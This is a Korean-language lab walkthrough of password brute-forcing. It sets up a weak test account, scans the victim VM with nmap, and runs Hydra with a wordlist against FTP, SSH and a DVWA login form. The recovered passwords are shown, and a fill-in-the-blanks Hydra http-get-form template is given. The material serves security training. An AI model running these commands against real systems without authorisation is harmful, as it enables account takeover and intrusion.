

Brute Force - (논리도 없고 추리도 없고 그냥 가능한 조합을 전부 대입해보면서 언젠가는 맞출 수밖에 없게 만드는 공격)

2. Hydra 이용

```
[root@localhost home]# useradd testuser
[root@localhost home]# passwd testuser
Changing password for user testuser.
New password:
BAD PASSWORD: The password fails the dictionary check - it is based on a dictionary word
Retype new password:
passwd: all authentication tokens updated successfully.
```

피해서버 테스트용 계정 만들기 ex) Rocky or Ubuntu

```
(zizon@zizon)-[~]
$ nmap -sV 172.16.29.11
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-24 01:42 KST
Nmap scan report for 172.16.29.11
Host is up (0.000095s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
22/tcp    open  ssh      OpenSSH 8.7 (protocol 2.0)
53/tcp    open  domain   ISC BIND 9.16.23 (RedHat Linux)
80/tcp    open  http     Apache httpd 2.4.62 ((Rocky Linux))
3306/tcp  open  mysql    MariaDB 5.5.5-10.5.29
8000/tcp  open  http     Tornado httpd 6.5.1
MAC Address: 00:0C:29:ED:03:6B (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

공격PC인 칼리서버에서 Nmap이용해서 피해서버 포트 스캔
(ftp, ssh 포트 열려있는 것 확인)

```
(zizon@zizon)-[~]
$ hydra -l testuser -P passwd.txt ftp://172.16.29.11
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is n
on-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-24 02:
00:12
[DATA] max 16 tasks per 1 server, overall 16 tasks, 22 login tries (l:1/p:22)
, ~2 tries per task
[DATA] attacking ftp://172.16.29.11:21/
[21][ftp] host: 172.16.29.11 login: testuser password: asd123!@
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-24 02:
00:18
```

hydra -l testuser -P passwd.txt ftp://172.16.29.11

```
(zizon@zizon)-[~]
$ hydra -l testuser -P passwd.txt ssh://172.16.29.11
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is n
on-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-24 02:
01:40
[WARNING] Many SSH configurations limit the number of parallel tasks, it is r
ecommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 22 login tries (l:1/p:22)
, ~2 tries per task
[DATA] attacking ssh://172.16.29.11:22/
[22][ssh] host: 172.16.29.11 login: testuser password: asd123!@
```

hydra -l testuser -P passwd.txt ssh://172.16.29.11

```

(zizon@zizon)-[~]
$ hydra -l admin -P /home/zizon/passwd.txt dv.ul.com -s 80 http-get-form "/
vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie:PHPSESSID=888d558fcad939763200bfd0f78f31b;security=low:F=Username and/or password incorrect."
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is n
on-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-24 05:
01:11
[DATA] max 16 tasks per 1 server, overall 16 tasks, 22 login tries (l:1/p:22)
, ~2 tries per task
[DATA] attacking http-get-form://dv.ul.com:80/vulnerabilities/brute/:username
=^USER^&password=^PASS^&Login=Login:H=Cookie:PHPSESSID=888d558fcad939763200bf
cd0f78f31b;security=low:F=Username and/or password incorrect.
[80][http-get-form] host: dv.ul.com login: admin password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-24 05:
01:12

```

hydra -l admin -P /home/zizon/passwd.txt dv.ul.com -s 80
http-get-form
"/vulnerabilities/brute/:username=^USER^&password=^PASS^
&Login=Login:H=Cookie:PHPSESSID=888d558fcad939763200bfd0f78f31b;security=low:F=Username and/or password
incorrect."

hydra -l [id] -P [패스워드 파일 경로] [ip] -s [포트 설정]
http-get-form
"/vulnerabilities/brute/:username=^USER^&password=^PASS^
&Login=Login:H=Cookie:PHPSESSID=[쿠키 값];
security=[난이도]:F=Username and/or password incorrect."

get-form, 난이도, 쿠키값은 dvwa웹 관리자 모드, network탭에서
확인가능